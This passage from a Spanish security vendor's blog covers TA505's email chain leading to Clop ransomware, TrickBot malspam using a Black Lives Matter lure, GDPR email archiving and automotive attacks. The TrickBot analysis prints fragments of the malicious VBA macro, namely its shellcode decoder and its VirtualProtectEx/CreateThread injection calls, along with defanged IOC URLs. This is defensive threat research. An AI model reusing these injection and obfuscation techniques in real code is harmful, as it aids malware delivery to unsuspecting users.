BTC (unos $ 220,000) por un descifrador con el que recuperar sus datos. Desde 24.03.2020, aproximadamente, TA505 ha comenzado también a publicar, en su página web CL0P^_- LEAKS, datos robados de víctimas del ransomware Clop que se niegan a pagar. De este modo trata de incrementar la presión sobre las víctimas para que paguen el rescate. El nivel de actividad es elevado. Las campañas de malspam se producen semanalmente. Los dominios de descarga y control rotan diariamente. A continuación, proseguiremos analizando la cadena de infección descrita en mayor detalle.

Análisis técnico

Siendo proveedores de seguridad para correo electrónico, nos centraremos en el vector de acceso inicial del ataque, basado en correo electrónico, y solo describiremos brevemente lo que ocurre cuando una víctima recibe y abre el correo inicial.

El correo

Los correos se envían desde cuentas de correo comprometidas. De este modo logran pasar comprobaciones de reputación de spam, DMARC, DKIM y SPF. Los correos utilizan bloques de firma de víctimas anteriores, probablemente para que los correos parezcan más realistas. Hemos podido confirmar estos dos hechos para algunos de los correos. Sin embargo, la cuenta comprometida es diferente a la del bloque de firma robado empleado en los correos. Tan solo el nombre visible del campo «From» del encabezado de los correos se cambia por el nombre empleado en el bloque de firma. He aquí algunos ejemplos de tales correos de TA505 recibidos a lo largo de una semana: TA505 correo inicial TA505 correo inicial TA505 correo inicial TA505 correo inicial TA505 correo inicial TA505 correo inicial TA505 correo inicial El hecho de que los correos cambien todos los días demuestra el elevado nivel de actividad de TA505.

Archivo adjunto HTML

Cada correo contiene un archivo adjunto HTML. El código HTML conduce a las víctimas a un sitio web comprometido. Al igual que los propios correos, los archivos adjuntos HTML cambian frecuentemente. Durante la semana en que se emplearon las plantillas de correo anteriormente descritas, identificamos el uso de tres técnicas de redireccionamiento diferentes en los archivos adjuntos HTML. La primera emplea el siguiente redireccionamiento con Javascript: TA505 HTML attachment La segunda, la etiqueta HTML <embed>: TA505 HTML attachment La tercera, la etiqueta <object>: TA505 HTML attachment Los archivos adjuntos HTML realizan hash busting mediante cadenas de caracteres aleatorias. Hemos podido confirmarlo al encontrar varios archivos adjuntos HTML en los que lo que parecían ser marcadores de posición no se habían sustituido por cadenas de caracteres aleatorias. En este ejemplo, parece que {{RND_TEXT}} fuese a sustituirse mediante una cadena aleatoria (como era el caso en el resto de archivos adjuntos HTML): Error en plantilla de archivo adjunto HTML de TA505 {{RND_TEXT}} podría ser sintaxis de Jinja. Jinja es un motor de plantillas web para el lenguaje de programación Python. Emplea la sintaxis {{var}} para introducir marcadores de posición en el código de la plantilla web que posteriormente se rellenan con los valores deseados al instanciar código HTML a partir de la plantilla. Además de cambiar las técnicas de redireccionamiento del archivo HTML y las URLs, en múltiples ocasiones, los archivos adjuntos HTML también reorganizaron los elementos HTML o añadieron etiquetas <a> sin usar para evitar la detección mediante firmas estáticas.

Páginas de redireccionamiento intermedio

Los archivos adjuntos HTML, bien redirigen a una página web probablemente comprometida o bien contienen código incrustado de la misma. A continuación, este código HTML redirige a la víctima a otro dominio controlado por el atacante: Redireccionamiento de TA505 a una página web comprometida Se desconoce cómo obtiene TA505 acceso a esas páginas de redireccionamiento intermedio. Sin embargo, como en su mayor parte presentan únicamente contenidos estáticos y carecen de CMS, es poco probable que haya vulnerabilidades web. Como sabemos que TA505 roba datos de acceso FTP, puede que éste sea un vector de acceso.

Dominio de descarga de XLS

A continuación, las páginas de redireccionamiento intermedio conducen a dominios registrados por TA505. Al igual que los correos, archivos adjuntos y páginas de redireccionamiento intermedio, estos dominios cambian frecuentemente. En el transcurso de un mes se han observado los siguientes dominios: Dominios de descarga de XLS de TA505 observados durante un mes Como podemos ver, durante las campañas, TA505 registra dominios frescos cada día. Esto es una nueva muestra de su elevado nivel de actividad. Puede observarse el siguiente patrón: En primer lugar, se obtienen certificados de Let’s Encrypt. Las horas a las que se adquirieron los certificados para los dominios descritos pueden verse en el siguiente gráfico: Horas de adquisición de certificados Let's Encrypt de TA505 A continuación, se envía el malspam con archivo adjunto HTML: Horas de malspam HTML de TA505 Una vez enviado el malspam se registran dominios nuevos para el día siguiente: Horas de registro de dominios de descarga de XLS de TA505 Esto vuelve a subrayar la persistencia y el elevado nivel de actividad de TA505.

CAPTCHAs

En 2020, los documentos XLS maliciosos se protegen mediante CAPTCHAs. A continuación se muestran las pantallas de descarga empleadas. Las siguientes se observaron en el curso de tan solo una semana: TA505 empleando CAPTCHAs TA505 empleando CAPTCHAs TA505 empleando CAPTCHAs Probablemente, los CAPTCHAs se utilicen para obstaculizar el análisis automático por parte de compañías de seguridad. De nuevo, el servicio de CAPTCHA y el diseño de la página de descarga también cambian frecuentemente. En el código HTML de una página de descarga de XLS, volvimos a encontrar el marcador de posición {{RND_TEXT}}: Error en plantilla HTML de TA505 Esto, de nuevo, probablemente se utilice para hacer hash busting.

XLS

Una vez resuelto el CAPTCHA, la víctima descarga el documento XLS de TA505. El número dentro del nombre del archivo cambia en cada descarga. El hash del documento cambia cada minuto. Los cambios se realizan tanto en los metadatos del documento (tales como el título, tema y autor) como en el documento en sí, tal y como puede verse comparando dos documentos XLS descargados en momentos distintos:
$ diff <(exiftool Form\ F-12189.xls) <(exiftool Form\ F-44754.xls)
2c2
< Nombre de archivo               : Form F-12189.xls
---
> Nombre de archivo               : Form F-44754.xls
4,5c4,5
< Tamaño de archivo               : 816 kB
< Fecha/hora de modificación      : 2020:06:25 15:13:02+02:00
---
< Tamaño de archivo               : 734 kB
< Fecha/hora de modificación      : 2020:06:25 15:13:11+02:00
7c7
< Fecha/hora de modificación de inodo de archivo: 2020:06:25 15:13:04+02:00
---
> Fecha/hora de modificación de inodo de archivo: 2020:06:25 15:13:13+02:00
14,16c14,16
< Título                          : Q
< Tema                            : U
< Autor                           : gzh
---
> Título                          : pfaE
> Tema                            : nudUSwT
> Autor                           : k
18c18
< Número de revisión              : 641
---
< Número de revisión              : 458
20c20
< Tiempo total de edición         : 18,4 horas
---
< Tiempo total de edición         : 14,5 horas
22c22
< Fecha de modificación           : 2020:06:25 07:55:19
---
> Fecha de modificación           : 2020:06:25 7:57:12
24,25c24,25
< Palabras                        : 2696
< Caracteres                      : 9575
---
> Palabras                        : 2669
< Caracteres                      : 4214
29,31c29,31
< Bytes                           : 28002
< Líneas                          : 689
< Párrafos                        : 75
---
> Bytes                           : 75897
> Líneas                          : 395
> Párrafos                        : 15
De nuevo, los cambios se basan en cadenas aleatorias. El proyecto de VBA del documento no cambia:
$ diff -r Form\ F-12189 Form\ F-44754
Binary files Form F-12189/[5]DocumentSummaryInformation and Form F-44754/[5]DocumentSummaryInformation differ
Binary files Form F-12189/[5]SummaryInformation and Form F-44754/[5]SummaryInformation differ
Binary files Form F-12189/Workbook and Form F-44754/Workbook differ
El documento incluye las típicas instrucciones para «Habilitar la edición» y «Habilitar el contenido»: Documento XLS de TA505 Si la víctima lo hace, aparece una ventana falsa de «Componentes de Microsoft Office»: Ventana falsa de "Componentes de Microsoft Office" en XLS de TA505 En realidad, la ventana es generada por el código macro VBA del propio documento: Código VBA para la ventana falsa de "Componentes de Microsoft Office" en XLS de TA505 La falsa página de carga probablemente se emplee para impedir que las víctimas cierren el documento demasiado pronto (es decir, antes de que el malware incrustado haya terminado de ejecutarse). Esto es importante, pues el descargador Get2 se ejecuta dentro del proceso EXCEL.EXE que abrió el documento XLS. Una vez cerrado este proceso, también se cierra este descargador de malware inicial. Las DLLs del descargador Get2 están incrustadas en el documento XLS descargado:
$ binwalk Form\ F-12189/MBD007A19C2/\[1\]Ole10Native --dd=".*"

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
17513         0x4469          Microsoft executable, portable (PE)
354857        0x56A29         Microsoft executable, portable (PE)
Una de las DLLs es de 32 bits, y la otra de 64:
$ file *
4469:  PE32 executable (DLL) (console) Intel 80386, for MS Windows
56A29 PE32+ executable (DLL) (console) x86-64, for MS Windows
El código macro VBA extrae el objeto incrustado y las DLLs incrustadas del descargador Get2. A continuación, las copia a %APPDATA%\Roaming\Microsoft\Windows\Templates\libIntel{1,2}.dll (primero, la versión de 64 bits y, después, la de 32). Seguidamente, el código utiliza ExecuteExcel4Macro para llamar a libIntel{1,2}.dll, es decir, el descargador Get2. La función ejecutada es, en realidad, la ruta (en este caso, vckpmd) a consultar por parte del sistema de control: XLS de TA505 llamando a DLL de Get2 La función ExecuteExcel4Macro permite ejecutar instrucciones arbitrarias de macro de Excel 4. En este caso se trata de la instrucción CALL("C:\Users\...\libIntel2.dll","vckpmd","J"), que permite ejecutar código de la DLL directamente desde el proceso EXCEL.EXE sin tener que generar ningún otro proceso que pudiera resultar sospechoso. En primer lugar, se llama a la DLL de 64 bits, incluso dentro de un proceso EXCEL.EXE de 32 bits. Si esto falla, la versión de 32 bits se copia a disco y se llama.

Descargador Get2

La DLL libIntel{1,2}.dll anteriormente mencionada es el descargador Get2. Su objetivo es descargar y ejecutar malware adicional TA505. Con este fin, comienza recopilando algunos datos del sistema, y después envía una solicitud POST como la siguiente al servidor de control: Solicitud POS de Get2 de TA505 Los parámetros enviados al servidor de control contienen los siguientes datos del sistema de la víctima:
  • D: Nombre de host
  • U: Nombre de usuario
  • OS: Versión de Windows
  • PR: Lista de procesos en ejecución
El servidor de control responde entonces con URLs para descargar el siguiente malware.

SDBbot

Actualmente, el malware elegido por el descargador Get2 de TA505 para la siguiente fase es SDBbot [SDBbot]. SDBbot es un RAT. Esta etapa de la infección sirve como cabeza de puente para el movimiento lateral y la preparación del despliegue del ransomware Clop. En este contexto, SDBbot se emplea para explorar la red infectada y cargar malware adicional en preparación del despliegue del ransomware Clop. Uno de los preparativos consiste en desactivar el software de seguridad de red antes de emplear el ransomware Clop.

El ransomware Clop

«Clop», pronunciado en inglés, se parece mucho al ruso y/o búlgaro «клоп», que quiere decir «chinche». Muchos creen que de ahí le viene el nombre. El ransomware Clop es un derivado del ransomware CryptoMix [CryptoMix]. Se trata de la última fase del ataque de TA505. El objetivo parece ser desplegar el ransomware Clop en el mayor número de sistemas posible dentro de la red de una víctima para poder ejercer la máxima presión posible para que ésta pague el rescate. El cifrado suele producirse durante los fines de semana para reducir el riesgo de que el personal de la víctima advierta el proceso de cifrado y detenga el ataque de ransomware antes de tiempo.

CL0P^_- LEAKS

Desde aproximadamente el 24.03.2020, TA505 publica en Internet datos robados de víctimas que se niegan a pagar el rescate. Con este fin, mantienen una página web en un servicio oculto de Tor titulada CL0P^_- LEAKS: CL0P^ _- LEAKS A fecha de redacción, la página alberga los datos de 12 víctimas. Su objetivo es continuar presionando a las víctimas para que paguen.

Conclusión y soluciones

Este artículo muestra el gran esfuerzo que invierten en sus ataques grupos criminales decididos como TA505. La rotación diaria de los dominios y la constante actualización de las cargas útiles para evitar la detección demuestran claramente que se trata de crimen organizado. La implacable extorsión a las víctimas mediante humillación pública demuestra hasta dónde son capaces de llegar los delincuentes para obtener beneficios. Los ataques de este tipo pueden repelerse en múltiples etapas. Como último recurso, unas buenas copias de seguridad pueden ayudar a las empresas a recuperarse tras un ataque con ransomware sin necesidad de pagar el rescate. La recomendación general para copias de seguridad es seguir la regla 3-2-1 [US-CERT]. 3 copias diferentes en 2 soportes diferentes, y al menos una de ellas deslocalizada (por ejemplo, en la nube). También se recomienda practicar la recuperación de sistemas a partir de copias de seguridad, pues una copia de seguridad solo tiene éxito una vez recuperados los datos, y no basta con hacer la copia. Bloquear la comunicación con servidores de control en cualquier punto de la cadena de infección también impide que la infección avance de fase. Para lograrlo es posible emplear filtros de red. En último lugar, pero no por ello menos importante, bloquear el correo inicial evitará que la cadena se despliegue desde un primer momento. Spam and Malware Protection de Hornetsecurity, con las tasas de detección más elevadas del mercado, es capaz de bloquear los archivos adjuntos HTML maliciosos descritos. Advanced Threat Protection de Hornetsecurity amplía esta protección añadiendo capas de seguridad de última generación contra amenazas aún desconocidas. Aunque pagar el rescate pueda resultar más barato que asumir los costes asociados a no pagarlo, no debe hacerse. Los rescates financian a los atacantes, lo que se traduce en más ataques con ransomware, y además mantienen a las víctimas que hayan pagado dentro de la lista de objetivos. Al fin y al cabo, lo que les interesa a los atacantes es obtener beneficios, y no destruir empresas, lo cual significa que una víctima que no pague no se considerará un buen objetivo. Obviamente, esto no garantiza que una empresa famosa por no pagar rescates no vaya a volver a ser atacada con ransomware, pero sí reduce la probabilidad de que los atacantes vuelvan a apuntar a esa empresa en concreto. Negarse a pagar un rescate y afrontar una fuga de datos es especialmente duro. Sin embargo, no existen garantías de que los datos robados vayan a eliminarse, solo la promesa de unos delincuentes. Los datos sustraídos podrían venderse en el mercado negro, emplearse en futuros ataques e incluso emplearse para volver a extorsionar a la víctima en un momento posterior. Por último, incluso si los datos no se hacen públicos, una brecha de seguridad de datos personales es una brecha de seguridad de datos personales con todas las consecuencias legales que ésta acarrea, tales como una notificación de violación de datos personales y sanciones económicas. Pagar un rescate no soluciona nada de eso.

Referencias

Los ciberataques al sector automovilístico van a toda velocidad

Los ciberataques al sector automovilístico van a toda velocidad

Conducción autónoma, electromovilidad, coches en red y coches compartidos – la industria del automóvil está en un estado de transformación importante. Las nuevas tecnologías y los procesos digitalizados aportan numerosas ventajas a las empresas de automoción, permitiéndoles, por un lado, satisfacer las nuevas exigencias de los clientes y, por otro, sobrevivir a la intensa competencia. Sin embargo, la digitalización de la industria no sólo ofrece ventajas, sino que también proporciona a los cibercriminales un objetivo cada vez más tentador para los ataques. Y los ciberdelincuentes están tratando de explotarlas de todas las formas posible: los analistas de seguridad del Security Lab de Hornetsecurity descubrieron que el sector automovilístico, después de la industria energética y logística, ha sido uno de los sectores más atacados en todo el mundo en el último año.

Comunicación por correo electrónico: ¿una puerta de entrada para el malware?

Para acceder a los sistemas de las empresas, la comunicación por correo electrónico es la principal puerta de entrada para los ciberataques. Después de analizar los correos electrónicos maliciosos a los que se vieron expuestas las empresas de automoción en 2019, los expertos en seguridad pudieron desglosarlos según los tipos de ataque. En el proceso, el Security Lab de Hornetsecurity observó una alta proporción de ataques por correo electrónico con archivos adjuntos malignos en las empresas de automoción: el software de espionaje, el ransomware y otros malwares destructivos se descargan sin que nadie se de cuenta. Los ataques de este tipo pueden tener graves consecuencias, como la manipulación del proceso operativo, la interrupción de la producción o el robo de información secreta del departamento de investigación y desarrollo. Alrededor del 29% de los correos electrónicos clasificados como maliciosos son mensajes con enlaces incrustados a sitios web infectados.

La movilidad del futuro es digital y vulnerable

Está demostrado que no sólo los proveedores más pequeños pueden ser víctimas de ataques de hackers, tomando en consideración los recientes ciberataques a las empresas internacionales de automóviles Hyundai y BMW. Se sospecha que el grupo de ciberespías vietnamita «APT32» ha instalado el malware «CobaltStrike» en los sistemas informáticos de BMW para espiar las redes de la empresa. Se presume que los piratas informáticos buscaban información sobre el desarrollo interno, pero no se dispone de información más detallada, ya que el equipo informático del fabricante de automóviles retiró de la red los ordenadores afectados a principios de diciembre de 2019, antes de que los ciberdelincuentes lograran robar datos importantes.

En general, las empresas están cada vez más expuestas a los ciberataques desarrollados profesionalmente por grupos organizados de piratas informáticos. Aunque de vez en cuando hay autores individuales, los motivos de esos ataques sugieren grupos planificados y estructurados, así como experimentados. Algunas de estas bandas de ciberdelincuentes pueden reconocerse hoy en día por ciertas tácticas y técnicas que utilizan, e incluso algunas se han especializado en ciertas industrias o mercados como objetivos de ataques.

El nuevo «Cybersecurity Special – Los ciberataques al sector automovilístico van a toda velocidad« describe qué grupos de ciberdelincuentes tienen como objetivo el sector del automóvil, qué tipo de objetivos persiguen los hackers y cómo es un ataque a una empresa automovilística.

Cuidado con el archivado de correos electrónicos: muchos servicios no son compatibles con RGPD

Cuidado con el archivado de correos electrónicos: muchos servicios no son compatibles con RGPD

Desde hace algún tiempo, ha existido un tema en particular en las empresas que ha preocupado a la dirección: se trata de la protección de datos y su reglamento general, que entró en vigor en mayo de 2018. Desde muchos puntos de vista, la ley de protección de datos a nivel europeo está ganando aprobación y elogios, ya que garantiza que el consumidor tenga el control sobre sus datos. Pero el asunto a menudo sigue causando dolores de cabeza a las empresas. Estas están sobrecargadas con reglamentos no transparentes y con el considerable trabajo y gasto adicional en que incurren.

Solo una cuarta parte de las empresas alemanas encuestadas cumplen con los requisitos de protección de datos de la UE. Este fue el resultado de un estudio de Bitkom en septiembre de 2019, en el que se preguntó a 500 empresas sobre la aplicación del RGPD.

La temida ola de reclamaciones no se ha materializado por el momento. En cambio, se impusieron multas más pequeñas. Sin embargo, esto cambió en noviembre de 2019. La asociación de viviendas Deutsche Wohnen fue multada con la mayor sanción jamás impuesta por una violación de la protección de datos en Alemania: 14,5 millones de euros. El motivo de esta enorme suma fue el sistema de archivado utilizado en toda la empresa, que no ofrecía ninguna posibilidad de eliminar los datos que ya no se necesitaban.

Exactamente este es el tema sobre el que queremos dedicarnos a continuación y mostrar qué funciones debe tener un archivo de correo electrónico para que esté a prueba de auditorías Y cumpla con la protección de datos.

A prueba de auditorías, no es lo mismo que conforme a protección de datos

El lector atento se hará la siguiente pregunta más adelante en este punto del artículo: ¿Cómo se puede notificar a un sistema de archivado sobre el incumplimiento de las obligaciones de supresión – si los mensajes de correo electrónico – se van a archivar de forma completa y a prueba de auditorías?Una pregunta legítima.  Aquí la respuesta:

El reglamento general de protección de datos establece la obligación de eliminar todos los datos personales que ya no se utilicen. Esto también incluye toda la comunicación por correo electrónico. Según el RGPD, el almacenamiento y el procesamiento de estos datos es siempre para un propósito específico. El propósito puede, por ejemplo, estar relacionado con la prestación de un servicio específico que no sería posible sin el tratamiento de los datos del cliente. Si este propósito dejara de existir después de algún tiempo, estos datos deben eliminarse.

U

Un ejemplo del departamento de RRHH:

Mónica M. solicita un trabajo como encargada en una empresa mediana del sector turístico. Por lo general, la solicitud contiene datos personales pertinentes, como la dirección, la fecha de nacimiento y mucho más. Los documentos son comprobados por el departamento de RRHH y el respectivo departamento especializado.

Si Mónica M. resulta convincente, se le invita a una entrevista y, en el mejor de los casos, obtendrá el puesto. Para poder actuar como empleada de la empresa y ser pagada por ello, la empresa debe seguir almacenando y procesando los datos de Mónica.

Sin embargo, si Mónica no resulta convincente en la entrevista, el motivo para el almacenamiento de los datos ya no se aplica. Por lo tanto, la compañía debe eliminar completamente los datos a más tardar seis meses después de la negativa a la solicitud de empleo. Y aquí se pone el énfasis en «eliminar». Esto incluye todos los documentos disponibles en papel o en formato digital, como cartas de presentación, currículum vitae, copias de certificados, notas tomadas en la entrevista, documentos de prueba y todos los correos electrónicos relacionados que se hayan recibido.

Además de la situación que se acaba de describir aquí, hay otros dos casos en los que el archivo está restringido o no está permitido en absoluto. Esto incluye, por un lado, la comunicación por correo electrónico entre los empleados y el comité de empresa o el médico de empresa. Además, si los empleados están generalmente autorizados a enviar y recibir correos electrónicos personales, la empresa tampoco puede archivarlos.

El sistema de archivado conforme a auditorías y a la protección de datos

Como ya se ha descrito, el almacenamiento de datos personales está vinculado a un propósito específico. Como hemos visto, este propósito puede cambiar. Por lo tanto, la obligación impuesta por la ley de retener los datos puede considerarse también como un propósito para el almacenamiento de datos personales.

Para poder cumplir con las obligaciones de almacenamiento y eliminación, una empresa debe tener en cuenta tres aspectos importantes al archivar los mensajes de correo electrónico. En primer lugar, debe ser posible reconocer y marcar la información personal, como la comunicación privada por correo electrónico de los empleados. Los datos deben clasificarse de tal modo que pueda responderse a la pregunta de cuál es el asunto tratado. Por último, pero no menos importante, deben definirse los períodos de retención, por ejemplo, para los períodos de almacenamiento.

Por lo tanto, es particularmente importante prestar atención tanto a la conformidad de las auditorías como a la protección de los datos al seleccionar el sistema de archivado de toda la empresa, porque no todos los sistemas de archivado pueden eliminar datos y, como hemos visto, ¡esto puede terminar siendo muy costoso!

Servicio de Archiving de Hornetsecurity

Hornetsecurity Archiving es un sistema de archivado que cumple con todos los requisitos y que además requiere un bajo esfuerzo de administración y mantenimiento. Todos los correos electrónicos entrantes y salientes se archivan de forma totalmente automática y segura en la nube. Esto asegura la inmutabilidad y la integridad de los correos electrónicos sin ningún esfuerzo.

Otras características del archivado son la marcación de los correos electrónicos privados, así como la exclusión completa de ciertos usuarios del archivo, como los miembros del comité de empresa. De esta manera, los datos personales pueden protegerse en conformidad con RGPD. El período de archivo de los correos electrónicos puede configurarse por adelantado entre seis meses y 10 años. La actual función de búsqueda de texto completo permite encontrar los correos electrónicos corporativos de manera rápida y específica. Por último, Hornetsecurity Archiving también tiene una función de importación y exportación segura con un formato estandarizado.

Trickbot Malspam se aprovecha del movimiento “Black Lives Matter”

Trickbot Malspam se aprovecha del movimiento “Black Lives Matter”

Resumen

El Security Lab de Hornetsecurity ha observado una campaña de malspam distribuyendo TrickBot [1] que se sirve del movimento Black Lives Matter como señuelo para que sus víctimas abran un archivo adjunto malicioso. El documento de descarga de TrickBot comienza inyectando shellcode en el Proceso WINWORD.EXE. Este shellcode crea un proceso cmd.exe en el que, posteriormente, se inyectan más partes del mismo shellcode. A continuación, el proceso cmd.exe descarga la DLL de TrickBot y la ejecuta mediante rundll32.exe.

Detalles

El correo inicial declara haber sido enviado por un organismo denominado State office, Country authority, o Country administration:

Correo inicial de TrickBot.

Dicho correo informa a su destinatario de que puede votar o expresar su opinión sobre Black Lives Matter confidencialmente, utilizando frases como Vote confidentially about "Black Lives Matter",Tell your government your opinion, Give your opinion, o Speak out confidentially about "Black Lives Matter" en el asunto o el cuerpo del mensaje.

Adjunto al correo se envía el archivo e-vote_form_0000.doc, un nombre que sugiere al destinatario que debe tratarse de algún método oficial de votación.

Sin embargo, el documento tan solo contiene una imagen anunciando una falsa actualización de Office junto con instrucciones para "Habilitar la edición" o "Activar contenido":

Documento de TrickBot.

Si el destinatario sigue las instrucciones, la macro de VBA maliciosa contenida en el documento se ejecuta y descarga el malware TrickBox.

Análisis técnico

La primera parte de la cadena de infección (antes de emplearse el malware TrickBot) se muestra en el siguiente diagrama de flujo:

Cadena de infección inicial de TrickBot.

En el siguiente análisis recorreremos todos los pasos de esta cadena.

La macro de VBA

La macro de VBA está protegida contra su visualización en Word:

Macro protegida de TrickBot.

Sin embargo, esta "protección" solo evita que Word muestre la macro de VBA sin contraseña. El código de la macro sigue siendo accesible.

Lo primero que hace la macro de VBA es mostrar un falso mensaje de error.

Private Sub Document_Open()
    MsgBox "Error #80013123"

Esto provoca el siguiente mensaje emergente:

Mensaje de error falso de TrickBot

Esto probablemente constituya un intento de solicitar la interacción del usuario para evitar la detección mediante sandboxes. También podría tratarse de un intento de ocultar el hecho de que no haya documento. La víctima podría darse por satisfecha al recibir este error y asumir que el documento está corrupto.

La macro se vale de las funciones VirtualProtectEx y CreateThread para inyectar shellcode en el proceso WINWORD.EXE. Para hacerlo, el código genera una gran cadena de texto:

    uriSubscriber = "i-j-[...]-a-a-a-"
    uriSubscriber = uriSubscriber & "i-l-[...]-a-a-"
    uriSubscriber = uriSubscriber & "g-k-a-a-p-p-h-f-p-i-[...]-o-g-c-c-p-k-h-c-g-j-h-d"

Esta cadena contiene el shellcode codificado. A continuación, se utiliza la siguiente función para descodificarla:

    Dim f() As Byte
    ReDim f(0 To Len(uriSubscriber) / 2 - 1) As Byte
    Dim sSmart As Long, regOptimize As Long
    For Each destEnd In Split(uriSubscriber, "-")
        If sSmart Mod 2 Then
            regOptimize = sSmart - 1
            regOptimize = regOptimize / 2
            f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) + f((sSmart - 1) / 2)
        Else
            regOptimize = sSmart / 2
            f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) * 16
        End If
        sSmart = sSmart + 1
    Next

Por último, el shellcode descodificado se marca con PAGE_EXECUTE_READWRITE mediante la función VirtualProtectEx, renombrada previamente a extensionsComment, y luego se inicia un hilo con la dirección del shellcode como su dirección inicial, empleando CreateThread previamente renombrada a sMail:

    Private Declare Function extensionsComment Lib "kernel32" Alias "VirtualProtectEx" ( _
        iMail As Long, _
        bConsole As Long, _
        regFunction As Long, _
        tablePosition As Long, _
        colMail As Long) As Long
    Private Declare Function sMail Lib "kernel32" Alias "CreateThread" ( _
        textTimer As Long, _
        uriMail As Long, _
        m As Long, _
        dateMembers As Long, _
        textTimer0 As Long, _
        lServer As Long) As Long
[...]
    sConsole = destN_ - angleTexture + UBound(f)
    q = extensionsComment(ByVal ipFunction, ByVal angleTexture, ByVal sConsole, ByVal PAGE_EXECUTE_READWRITE, ByVal VarPtr(extensionsComment0))
    adsLogon = sMail(ByVal 0&, ByVal 0&, ByVal destN_, ByVal 2&, ByVal 0, ByVal 0&)
    adsScr 5000

El modo más sencillo de extraer el shellcode es analizar CreateThread en un depurador:

Extracción de código de TrickBot mediante x64dbg.

Shellcode en WINWORD.EXE

El shellcode ejecutado en el proceso WINWORD.EXE empieza por determinar la dirección de determinadas funciones de biblioteca. A continuación, utiliza CreateProcessA para ejecutar un cmd.exe con la orden pause, de modo que cmd.exe quede en espera:

Shellcode de TrickBot creando un proceso cmd.exe con la orden pause

A continuación, el shellcode emplea la clásica secuencia OpenProcess, VirtualAllocEx, WriteProcessMemory y CreateRemoteThread para efectuar una inyección de shellcode en el proceso cmd.exe pausado:

Inyección de shellcode de TrickBot en el proceso cmd.exe.

El proceso cmd.exe /c pause probablemente se esté empleando para evitar la detección. Una técnica empleada habitualmente para inyectar shellcode es crear un proceso suspendido (es decir, pausado) marcándolo con la bandera CREATE_SUSPENDED durante su creación para, a continuación, inyectar código en el proceso creado y reanudarlo después. En el caso del TrickBot que nos ocupa, por el contrario, el código se inyecta a modo de hilo en el proceso cmd.exe pausado.

El shellcode inyectado es el mismo que se inyectó anteriormente en el proceso WINWORD.EXE. Sin embargo, el punto de entrada enviado a CreateRemoteThread es distinto, lo que provoca un flujo de ejecución distinto para el shellcode inyectado en el proceso cmd.exe.

Shellcode en cmd.exe

El shellcode inyectado en el proceso cmd.exe también localiza varias funciones de librería. Además, descodifica las URLs de descarga de TrickBot.

A continuación, el shellcode ejecuta GetSystemMetrics(SM_CXSCREEN) y GetSystemMetrics(SM_CYSCREEN) para obtener la resolución de la pantalla. Seguidamente, se ejecuta dos veces GetCursorPos, con una orden Sleep(0x1388) entre medias para provocar un retraso de 5 segundos.

TrickBot reconociendo el sistema.

Esto probablemente se haga para comprobar que haya movimiento de ratón y, de este modo, burlar a las sandboxes.

A continuación, los datos se codifican en forma de cadena de consulta HTTP del siguiente modo: &scr=1280x1024&cur1=604x250&cur2=622x310

Después de esto, la cadena de consulta de ID &id=00000000 y cadena de consulta de las métricas de sistema mencionadas se añaden a una URL para formar la URL de descarga final que, a continuación, se abrirá con InternetOpenUrlA:

TrickBot empleando InternetOpenUrlA para descargar.

Si la descarga se efectúa con éxito, el archivo descargado se guarda en C:\\Users\\<username>\\AppData\\Local\\system.rre y ejecuta mediante rundll32.exe %userprofile%/system.rre,Initialize empleando la función ShellExecuteA. El archivo system.rre es la DLL de TrickBot.

Si la descarga no se efectúa con éxito, el descargador espera para, más adelante, probar una segunda URL de descarga.

Conclusión y soluciones

La doble inyección de shellcode probablemente se emplee para evitar la detección en base al comportamiento, pues WINWORD.EXE no suele descargar archivos de Internet ni ejecutar rundll32.exe. Por tanto, es más probable que se detecte antes un comportamiento tan anómalo que el hecho de que cmd.exe inicie el proceso rundll32.exe. La consulta de la resolución de pantalla del sistema, así como la doble consulta de la posición del cursor, probablemente se efectúen para evitar el envío de la DLL de TrickBot a sistemas de sandboxing.

El servicio Spam and Malware Protection de Hornetsecurity, con las tasas de detección más elevadas del mercado, ya ha detectado y bloqueado el documento malicioso de TrickBot en base a una firma de detección.

Con todo, si las firmas de detección básicas no hubiesen bloqueado los correos, Advanced Threat Protection (ATP) de Hornetsecurity no se habría visto afectado por los diversos mecanismos antisandboxing. La simulación de interacción humana de la sandbox de ATP es capaz de hacer clic en el falso mensaje de error para permitir la ejecución completa del documento malicioso:

Sandbox de Advanced Threat Protection de Hornetsecurity haciendo clic en el botón

Detecta los procesos creados por el documento, así como las inyecciones de procesos:

Sandbox de Advanced Threat Protection de Hornetsecurity detectando la inyección de procesos

La simulación de interacción humana también provoca que las posiciones de cursores consultadas y enviadas como cur1 y cur2 al servidor de descarga de TrickBot sean distintas:

Conexión a Internet en sandbox de Advanced Threat Protection de Hornetsecurity

De este modo, la sandbox de ATP de Hornetsecurity no se deja engañar por las diversas técnicas antisandboxing.

Bibliografía

Indicadores de Compromiso (IOCs)

Hashes

SHA256 Nombre de archivo Descripción
d6a44f6460fab8c74628a3dc160b9b0f1c8b91b7d238b6b4c1f83b3b43a0463d e-vote_form_1967.doc Documento de descarga de TrickBot

URLs

  • hxxps[:]//ppid.indramayukab.go[.]id/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}
  • hxxps[:]//www.inspeclabeling[.]com/wp-content/themes/processing/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}

DNSs

  • ppid.indramayukab.go.id
  • www.inspeclabeling.com
Avaddon: de buscar afiliados, al primer ciberataque en dos días

Avaddon: de buscar afiliados, al primer ciberataque en dos días

Resumen

El  3 de junio de 2020 se informó [1] que un nuevo programa de ransomware, que se llamaba Avaddon, estaba buscando socios para afiliarse a su programa, es decir, alguien que instalara el ransomware en los sistemas de las víctimas. Sólo dos días más tarde, el 5 de junio de 2020, se observó malspam distribuyendo el ransomware de Avaddon.

Este artículo resume brevemente – según lo observado por el Security Lab de Hornetsecurity – la primera ola de malspam que distribuye el ransomware de Avaddon.

 

Antecedentes

El correo electrónico inicial del ransomware de Avaddon utiliza como cebo una imagen falsa:

Initial email

 

El archivo ZIP adjunto contiene un archivo JSript que al ser ejecutado descargará y ejecutará el ransomware binario de Avaddon:

Content of ZIP

 

